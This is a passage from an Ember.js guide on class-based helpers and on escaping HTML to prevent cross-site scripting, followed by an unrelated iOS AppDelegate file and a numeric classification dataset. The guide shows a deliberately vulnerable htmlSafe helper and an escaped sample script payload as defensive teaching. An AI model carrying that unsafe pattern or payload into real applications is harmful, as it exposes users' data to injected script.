<p>As an exercise, here is the above <code>format-currency</code> helper re-factored
into a class-based helper:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/format-currency.js>export default Ember.Helper.extend({
compute(params, hash) {
let value = params[0],
dollars = Math.floor(value / 100),
cents = value % 100,
sign = hash.sign === undefined ? '$' : hash.sign;
if (cents.toString().length === 1) { cents = '0' + cents; }
return `${sign}${dollars}.${cents}`;
}
});
</code></pre>
<p>This is exactly equivalent to the <code>format-currency</code> example above. You
can think of the function version as a shorthand for the longer class
form if it does not require dependency injection.</p>
<p>As another example, let's make a helper utilizing an authentication
service that welcomes users by their name if they're logged in:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/is-authenticated.js>export default Ember.Helper.extend({
authentication: Ember.inject.service(),
compute() {
let authentication = this.get('authentication');
if (authentication.get('isAuthenticated')) {
return 'Welcome back, ' + authentication.get('username');
} else {
return 'Not logged in';
}
}
});
</code></pre>
</section>
<h3 id="toc_escaping-html-content">Escaping HTML Content</h3>
<section aria-labelledby="toc_escaping-html-content">
<p>To protect your application from cross-site scripting attacks (XSS),
Ember automatically escapes any value you return from a helper so that
the browser will not interpret it as HTML.</p>
<p>For example, here's a <code>make-bold</code> helper that returns a string containing HTML:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) {
return `<b>${params[0]}</b>`;
});
</code></pre>
<p>You can invoke it like this:</p>
<pre><code class="handlebars language-handlebars">{{make-bold "Hello world"}}
</code></pre>
<p>Ember will escape the HTML tags, like this:</p>
<pre><code class="handlebars language-handlebars">&lt;b&gt;Hello world&lt;/b&gt;
</code></pre>
<p>This shows the literal string <code><b>Hello world</b></code> to the user, rather
than the text in bold as you probably intended. We can tell Ember not to
escape the return value (that is, that it is <em>safe</em>) by using the
<a href="https://api.emberjs.com/classes/Ember.String.html#method_htmlSafe"><code>htmlSafe</code></a> string utility:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) {
return Ember.String.htmlSafe(`<b>${params[0]}</b>`);
});
</code></pre>
<p>If you return a <code>SafeString</code> (a string that has been wrapped in a call
to <a href="https://api.emberjs.com/classes/Ember.String.html#method_htmlSafe"><code>htmlSafe</code></a>), Ember knows that you have vouched on its behalf that it
contains no malicious HTML.</p>
<p>However, note that in the above code we may have inadvertently
introduced an XSS vulnerability into our application! By blindly marking
the string as safe, a malicious user could get their own HTML into our
app, allowing them to do things like access sensitive customer data.</p>
<p>For example, imagine that we have a chat app and use our <code>make-bold</code>
helper to welcome the new users into the channel:</p>
<pre><code class="handlebars language-handlebars">Welcome back! {{make-bold model.firstName}} has joined the channel.
</code></pre>
<p>Now a malicious user simply needs to set their <code>firstName</code> to a string
containing HTML (like a <code><script></code> tag that sends private customer data
to their server, for example) and every user in that chat room has been
compromised.</p>
<p>In general, you should prefer using components if you are wrapping
content in HTML. However, if you really want to include a mix of HTML
and values from models in what you return from the helper, make sure you
escape anything that may have come from an untrusted user with the
<code>escapeExpression</code> utility:</p>
<pre><code class="javascript language-javascript"data-filename=app/helpers/make-bold.js>export default Ember.Helper.helper(function(params) {
let value = Ember.Handlebars.Utils.escapeExpression(params[0]);
return Ember.String.htmlSafe(`<b>${value}</b>`);
});
</code></pre>
<p>Now the value passed into the helper has its HTML escaped, but the trusted
<code><b></code> tags that we want to wrap the value in are <em>not</em> escaped. A
malicious user setting their <code>firstName</code> to something containing HTML
would see this:</p>
<pre><code class="handlebars language-handlebars">Welcome back! <b>&lt;script
type="javascript"&gt;alert('pwned!');&lt;/script&gt;</b> has joined the channel.
</code></pre>
</section>
</div>
<footer id="ember115809" class="ember-view"> <a href="/v2.3.0/templates/development-helpers" id="ember115810" class="previous-guide ember-view">Development Helpers</a>
<a href="/v2.3.0/components/index" id="ember115811" class="next-guide ember-view"> We've finished covering Templates. Next up: Components - Defining a Component
</a></footer>
</article>
</main>
<footer id="ember115812" class="es-footer ember-view" role="contentinfo"><div class="footer responsive">
<div class="container">
<div id="ember115813" class="footer-info ember-view">
Copyright 2020
<a href="http://tilde.io">Tilde Inc.</a>
<br>
<a href="https://emberjs.com/team">Team</a>
|
<a href="https://emberjs.com/sponsors">Sponsors</a>
<br>
<a href="https://emberjs.com/security">Security</a>
|
<a href="https://emberjs.com/legal">Legal</a>
|
<a href="https://emberjs.com/brand">Brand</a>
<br>
<a href="https://emberjs.com/guidelines">Community Guidelines</a>
<!----></div>
<div id="ember115814" class="footer-statement ember-view">
<p class="footer-tagline">Ember.js is free, open source and always will be.</p>
<div class="footer-social">
<a href="http://twitter.com/emberjs" title="Twitter">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg>
</a>
<a href="https://github.com/emberjs/ember.js" title="GitHub">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg>
</a>
<a href="https://discordapp.com/invite/zT3asNS" title="Discord">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg>
</a>
</div>
</div>
<div id="ember115815" class="footer-contributions ember-view">
<div class="contributor">
<p>Hosted by:</p>
<a href="https://www.heroku.com/emberjs">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg>
</a>
</div>
<div class="contributor">
<p>CDN provided by:</p>
<a href="https://www.fastly.com">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg>
</a>
</div>
<div class="contributor">
<p>Tested with:</p>
<a href="https://percy.io">
<svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg>
</a>
</div>
<div class="contributor">
<p>Resolved with:</p>
<a href="https://dnsimple.com/resolving/emberjs">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg>
</a>
</div>
</div>
</div>
</div>
</footer>
<script type="x/boundary" id="fastboot-body-end"></script>
<script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script>
<script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
#include "AppDelegate.h"
#include "GeneratedPluginRegistrant.h"
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application
didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[GeneratedPluginRegistrant registerWithRegistry:self];
// Override point for customization after application launch.
return [super application:application didFinishLaunchingWithOptions:launchOptions];
}
@end
| {
"pile_set_name": "Github"
} |
y a b c d e f instance
0 1 1 2 3 1 2 3 1 2 1 2 3 1 2 3 4 1 2 string
class i
0 1 1 1 1 2 2 data_4
0 1 1 1 1 4 1 data_7
0 1 1 1 2 1 1 data_9
0 1 1 1 2 1 2 data_10
0 1 1 1 2 2 1 data_11
0 1 1 1 2 3 1 data_13
0 1 1 1 2 4 1 data_15
0 1 1 1 3 2 1 data_19
0 1 1 1 3 4 1 data_23
0 1 1 2 1 1 1 data_25
0 1 1 2 1 1 2 data_26
0 1 1 2 2 3 1 data_37
0 1 1 2 2 4 1 data_39
1 1 1 2 2 4 2 data_40
0 1 1 2 3 1 2 data_42
1 1 1 2 3 2 2 data_44
0 1 2 1 1 1 2 data_50
0 1 2 1 2 1 2 data_58
1 1 2 1 2 2 2 data_60
0 1 2 1 2 3 1 data_61
1 1 2 1 2 3 2 data_62
0 1 2 1 2 4 1 data_63
0 1 2 1 3 1 1 data_65
0 1 2 1 3 1 2 data_66
1 1 2 1 3 2 2 data_68
0 1 2 1 3 3 1 data_69
1 1 2 1 3 3 2 data_70
0 1 2 1 3 4 1 data_71
1 1 2 1 3 4 2 data_72
0 1 2 2 1 2 1 data_75
0 1 2 2 1 4 1 data_79
1 1 2 2 2 3 1 data_85
1 1 2 2 2 4 1 data_87
0 1 2 2 3 1 1 data_89
1 1 2 2 3 1 2 data_90
1 1 2 2 3 3 1 data_93
0 1 2 2 3 3 2 data_94
1 1 2 2 3 4 1 data_95
0 1 2 2 3 4 2 data_96
0 1 3 1 1 1 2 data_98
0 1 3 1 1 2 2 data_100
0 1 3 1 1 3 1 data_101
0 1 3 1 1 3 2 data_102
0 1 3 1 2 2 1 data_107
1 1 3 1 2 2 2 data_108
1 1 3 1 2 3 2 data_110
0 1 3 1 2 4 1 data_111
1 1 3 1 3 2 2 data_116
0 1 3 1 3 3 1 data_117
1 1 3 1 3 4 2 data_120
0 1 3 2 1 3 1 data_125
1 1 3 2 1 3 2 data_126
0 1 3 2 1 4 1 data_127
1 1 3 2 2 1 2 data_130
0 1 3 2 2 3 2 data_134
0 1 3 2 2 4 2 data_136
1 1 3 2 3 2 1 data_139
0 2 1 1 1 1 1 data_145
0 2 1 1 1 2 2 data_148
0 2 1 1 1 3 1 data_149
1 2 1 1 2 2 2 data_156
0 2 1 1 3 1 2 data_162
1 2 1 1 3 2 2 data_164
1 2 1 1 3 3 2 data_166
0 2 1 1 3 4 1 data_167
0 2 1 2 1 1 1 data_169
1 2 1 2 1 2 2 data_172
0 2 1 2 1 4 1 data_175
1 2 1 2 2 2 1 data_179
0 2 1 2 2 4 2 data_184
0 2 1 2 3 1 1 data_185
1 2 1 2 3 1 2 data_186
0 2 1 2 3 2 2 data_188
0 2 1 2 3 3 2 data_190
0 2 1 2 3 4 2 data_192
0 2 2 1 1 3 1 data_197
1 2 2 1 1 4 2 data_200
0 2 2 1 2 1 1 data_201
1 2 2 1 2 3 1 data_205
1 2 2 1 3 3 1 data_213
0 2 2 1 3 3 2 data_214
1 2 2 1 3 4 1 data_215
0 2 2 2 1 1 1 data_217
0 2 2 2 1 2 2 data_220
0 2 2 2 1 3 2 data_222
1 2 2 2 1 4 1 data_223
0 2 2 2 1 4 2 data_224
1 2 2 2 2 1 1 data_225
0 2 2 2 2 2 2 data_228
0 2 2 2 2 3 1 data_229
1 2 2 2 3 1 1 data_233
0 2 2 2 3 2 1 data_235
0 2 2 2 3 2 2 data_236
0 2 2 2 3 4 2 data_240
0 2 3 1 1 1 1 data_241
0 2 3 1 1 1 2 data_242
1 2 3 1 1 3 2 data_246
0 2 3 1 2 1 1 data_249
1 2 3 1 2 3 1 data_253
0 2 3 1 2 3 2 data_254
0 2 3 1 2 4 2 data_256
1 2 3 1 3 1 2 data_258
1 2 3 1 3 2 1 data_259
1 2 3 1 3 4 1 data_263
1 2 3 2 1 1 2 data_266
1 2 3 2 1 2 1 data_267
1 2 3 2 1 3 1 data_269
0 2 3 2 1 4 2 data_272
1 2 3 2 2 1 1 data_273
0 2 3 2 2 2 1 data_275
0 2 3 2 2 3 2 data_278
0 2 3 2 3 3 1 data_285
0 2 3 2 3 3 2 data_286
0 2 3 2 3 4 2 data_288
0 3 1 1 1 4 1 data_295
0 3 1 1 2 1 2 data_298
1 3 1 1 2 2 2 data_300
1 3 1 1 2 3 2 data_302
0 3 1 1 2 4 1 data_303
1 3 1 1 2 4 2 data_304
0 3 1 1 3 1 1 data_305
0 3 1 1 3 1 2 data_306
1 3 1 1 3 2 2 data_308
1 3 1 1 3 3 2 data_310
0 3 1 2 1 1 1 data_313
1 3 1 2 1 2 2 data_316
0 3 1 2 1 3 1 data_317
1 3 1 2 1 3 2 data_318
0 3 1 2 1 4 1 data_319
1 3 1 2 1 4 2 data_320
1 3 1 2 2 2 1 data_323
1 3 1 2 3 1 2 data_330
1 3 1 2 3 2 1 data_331
0 3 1 2 3 2 2 data_332
0 3 1 2 3 4 2 data_336
0 3 2 1 1 1 2 data_338
1 3 2 1 1 2 2 data_340
0 3 2 1 1 3 1 data_341
1 3 2 1 1 3 2 data_342
1 3 2 1 2 1 2 data_346
1 3 2 1 2 2 1 data_347
0 3 2 1 3 1 1 data_353
1 3 2 1 3 2 1 data_355
1 3 2 1 3 3 1 data_357
0 3 2 1 3 3 2 data_358
0 3 2 2 1 1 1 data_361
0 3 2 2 1 2 2 data_364
